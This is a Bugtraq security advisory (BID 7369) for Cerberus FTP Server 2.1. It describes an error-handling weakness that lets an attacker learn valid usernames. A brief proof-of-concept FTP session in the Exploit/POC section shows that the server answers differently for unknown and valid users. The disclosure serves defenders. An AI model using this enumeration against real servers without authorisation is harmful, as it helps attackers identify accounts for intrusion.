Cerberus FTP Server Information Disclosure Weakness

BID:7369

Info

Cerberus FTP Server Information Disclosure Weakness

Bugtraq ID: 7369
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Apr 16 2003 12:00AM
Updated: Apr 16 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to "Ziv Kamir" <[email protected]>.
Vulnerable: Cerberus FTP Server 2.1
Not Vulnerable:

Discussion

Cerberus FTP Server Information Disclosure Weakness

It has been reported that Cerberus FTP Server is prone to an information disclosure weakness.

The problem exists in the way the FTP server handles the authentication procedure. An attacker may exploit a weakness in error handling to disclose valid usernames.

It should be noted that although this weakness was reported to affect Cerberus FTP server version 2.1, previous versions might also be affected.

Exploit / POC

Cerberus FTP Server Information Disclosure Weakness

The following proof of concept has been supplied:

c:\ ftp www.example.com
User (X.X.X.X:(none)): Not_Valid_User
530 Unknown user
***
Login failed.
Valid User ( The Username Is Hack )
----------
c:\ ftp www.example.com
User (X.X.X.X:(none)): Hack
331 User Hack Ok, password please
***
Password:

Solution / Fix

Cerberus FTP Server Information Disclosure Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Cerberus FTP Server Information Disclosure Weakness

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